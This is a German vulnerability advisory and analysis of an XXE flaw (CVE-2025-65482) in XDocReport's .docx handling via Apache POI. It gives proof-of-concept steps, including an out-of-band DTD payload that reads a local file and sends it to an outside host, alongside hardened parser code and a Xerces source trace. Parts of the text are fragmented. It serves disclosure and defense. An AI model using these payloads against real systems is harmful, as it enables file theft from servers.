
CVE-2025-65482 (XXE)
XML External Entity Injection
Überblick über die Schwachstelle
Geschäftliche Auswirkungen
Die Personalverwaltungs-Website erlaubt Benutzern, .docx-Dokumentdateien auf das System hochzuladen. Während der Verarbeitung verwendet die Anwendung die Bibliothek , die eine XXE-Schwachstelle enthält, wenn die -Datei des Benutzers durch geleitet wird.
fr.opensagres.xdocreport.document.docx.docxSAXParserfr.opensagres.xdocreport.template.docx — XDocReport (Versionen =< 2.0.3)
Ursache: Verwendung von Apache POI
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
Das bedeutet, dass Apache POI sehr tief im Modul liegt:
org.apache.poi.xwpf.converter.core
Der Fehler tritt auf, weil XDocReport (im Modul fr.opensagres.xdocreport.document.docx) Apache POI verwendet, um .docx-Dateien zu lesen, wobei POI den standardmäßigen Java-SAXParser verwendet, ohne die Funktionen zu deaktivieren, die die Verarbeitung von DTD und External Entities erlauben.
→ Dies ermöglicht es einem Angreifer, ein DOCTYPE mit einer Entity einzufügen, die auf eine externe Ressource verweist (SYSTEM "http://...") oder auf eine interne Datei (file:///...) → dies führt zu XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
Bearbeiten Sie mit folgendem Out-of-Bound-Payload für Collabrator:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. Inhalt der Datei vcspentest.dtd:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
Bearbeiten Sie die Datei word/document.xml in der .docx-Datei mit folgendem Inhalt, um die externe dtd von der WSL-Maschine zu laden:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx und laden Sie sie auf den Server zur Verarbeitung hoch:D:/vcspentest.txt auf dem Zielserver empfangen:Im Code oder auf der Ebene der XML-Parser-Konfiguration müssen alle Funktionen in Bezug auf DTD und externe Entitäten deaktiviert werden.
Ein Fix ähnlich diesem Code:
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Lesen der Eingabedatei, die Velocity-Ausdrücke enthält
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // Eingabedatei
InputStream input = new FileInputStream(docxTemplate);
// Laden der Vorlage mit Velocity
// IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// Laden der Vorlage mit FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Erstellen des Kontexts – kann leer sein, wenn nur eigenständige Ausdrücke getestet werden
IContext context = report.createContext();
// Ausgabe in eine neue Datei
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Datei result.docx erfolgreich erstellt.");
} catch (Exception e) {
System.err.println("❌ Fehler bei der Dateiverarbeitung:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
.docx wird zunächst vorverarbeitet (Preprocessing)SAXParser verarbeitet, ohne dass eine Eingabevalidierung stattfindetscanDocument() und führt einen Scan des XML-Inhalts durch, wobei „Ereignisse“ (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE usw.) ausgelöst werden.Überprüfung, ob der Entitätsname (name = "xxe") eine externe Entität ist.
Wenn die Entität deklariert und extern ist, ruft der Parser die Logik zur Auflösung externer Entitäten auf (z. B. startExternalEntity(...) / fEntityManager.startEntity(...)) – dies ist der Sink: Hier holt der Parser die systemId/publicId und versucht, einen Stream zu öffnen (dies kann eine ausgehende HTTP-Anfrage auslösen).
xxe eine externe Entität ist, führt startEntity(...) zur Logik des Öffnens einer Ressource (z. B. startExternalEntity(...) / InputStream öffnen → ermöglicht eine HTTP-Anfrage an die SYSTEM-URL). // should we skip external entities?
boolean external = entity.isExternal();
Entity.ExternalEntity externalEntity = null;
String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
if (external) {
externalEntity = (Entity.ExternalEntity)entity;
extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
boolean unparsed = entity.isUnparsed();
boolean parameter = entityName.startsWith("%");
boolean general = !parameter;
if (unparsed || (general && !fExternalGeneralEntities) ||
(parameter && !fExternalParameterEntities) ||
!fSupportDTD || !fSupportExternalEntities) {
if (fEntityHandler != null) {
fResourceIdentifier.clear();
final String encoding = null;
fResourceIdentifier.setValues(
(externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
extLitSysId, extBaseSysId, expandedSystemId);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.endEntity(entityName, fEntityAugs);
}
return;
}
}
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);
Die Variable externalEntity.entityLocation enthält die schädliche URL aus dem DOCTYPE (SYSTEM "http://...oastify.com/").
In resolveEntityAsPerStax enthält die Variable resourceIdentifier den absoluten Pfad: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/
Diese Funktion wandelt resourceIdentifier dann in ein XMLResourceIdentifierImpl-Objekt um und fährt fort, eine tatsächliche Verbindung zu öffnen, um den Inhalt zu lesen.